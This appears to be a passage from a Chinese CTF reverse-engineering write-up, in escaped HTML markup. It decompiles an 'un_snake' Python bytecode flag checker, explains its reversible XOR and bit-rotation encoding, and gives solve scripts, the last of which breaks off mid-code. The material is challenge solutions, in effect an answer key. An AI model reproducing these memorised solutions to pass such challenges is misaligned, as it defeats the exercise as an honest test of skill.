&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;s&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;maj7TmztjquUN8Xm-hKplvaYfEAxrUnIc51qxlKOwCKN4XsdzBmjOd_-&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;baseAlphabet&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;out&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[]
&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(s)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    a1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;baseAlphabet.find(s[i])
&lt;&#x2F;span&gt;&lt;span&gt;    a2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;baseAlphabet.find(s[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    a3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;baseAlphabet.find(s[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    a4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;baseAlphabet.find(s[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;    out.append((a1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;(a2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    out.append(((a2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xf&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;(a3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    out.append(((a3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;a4)
&lt;&#x2F;span&gt;&lt;span&gt;    i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(out)):
&lt;&#x2F;span&gt;&lt;span&gt;    x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;out[i]
&lt;&#x2F;span&gt;&lt;span&gt;    x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;i
&lt;&#x2F;span&gt;&lt;span&gt;    x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;((x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xf&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;(x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(x),&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;end&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;un-snake&quot;&gt;un_snake&lt;&#x2F;h1&gt;
&lt;p&gt;文件: un_snake.cpython-38.pyc&lt;&#x2F;p&gt;
&lt;p&gt;python逆向，直接上&lt;code&gt;uncompyle6&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;uncompyle6 un_snake.cpython-38.pyc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; un_snake.py
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;base64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;pre&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    th1s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;TBESCFSRSAEUITANAIIN&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.encode()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(data_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(data)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;(th1s_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(th1s)):
&lt;&#x2F;span&gt;&lt;span&gt;        th1s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;th1s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span&gt;(data_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&#x2F;&#x2F; &lt;&#x2F;span&gt;&lt;span&gt;th1s_len) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;th1s[:data_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span&gt;th1s_len]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;map&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;lambda &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;y&lt;&#x2F;span&gt;&lt;span&gt;: x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^ &lt;&#x2F;span&gt;&lt;span&gt;y, data, th1s))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;enc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;plain&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    plain &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(plain)
&lt;&#x2F;span&gt;&lt;span&gt;    plain &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;plain[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(plain)):
&lt;&#x2F;span&gt;&lt;span&gt;        c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;plain[i]
&lt;&#x2F;span&gt;&lt;span&gt;        plain[i] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;255
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(plain) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        plain[i] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^= &lt;&#x2F;span&gt;&lt;span&gt;plain[(i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)]
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span&gt;(plain)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;check&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;a&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;b64encode(a) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;mEiQCAjJoXJy2NiZQGGQyRm6IgHYQZAICKgowHHo4Dg=&amp;#39;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;__name__ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;__main__&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        stuff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;input&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Now input you flag:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        stuff_ready &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;pre(stuff.encode())
&lt;&#x2F;span&gt;&lt;span&gt;        result &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;check(enc(stuff_ready))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;result:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;You get it! Python is so charming right?&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;break
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;Failed, try again!&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;[🐍] Commit you flag, see you next time!&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看出，两次加密，都是可逆的，exp:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;base64 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;b64decode(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;mEiQCAjJoXJy2NiZQGGQyRm6IgHYQZAICKgowHHo4Dg=&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;(a)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(a)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    a[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;^=&lt;&#x2F;span&gt;&lt;span&gt;a[i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(a)):
&lt;&#x2F;span&gt;&lt;span&gt;    b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;a[i]
&lt;&#x2F;span&gt;&lt;span&gt;    b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;((b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|&lt;&#x2F;span&gt;&lt;span&gt;(b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xFF
&lt;&#x2F;span&gt;&lt;span&gt;    a[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;b
&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;a[::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;th1s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;TBESCFSRSAEUITANAIIN&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;.encode()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(data_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(a)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;(th1s_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;:= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(th1s)):
&lt;&#x2F;span&gt;&lt;span&gt;    th1s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;th1s &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span&gt;(data_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&#x2F;&#x2F; &lt;&#x2F;span&gt;&lt;span&gt;th1s_len) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;th1s[:data_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span&gt;th1s_len]
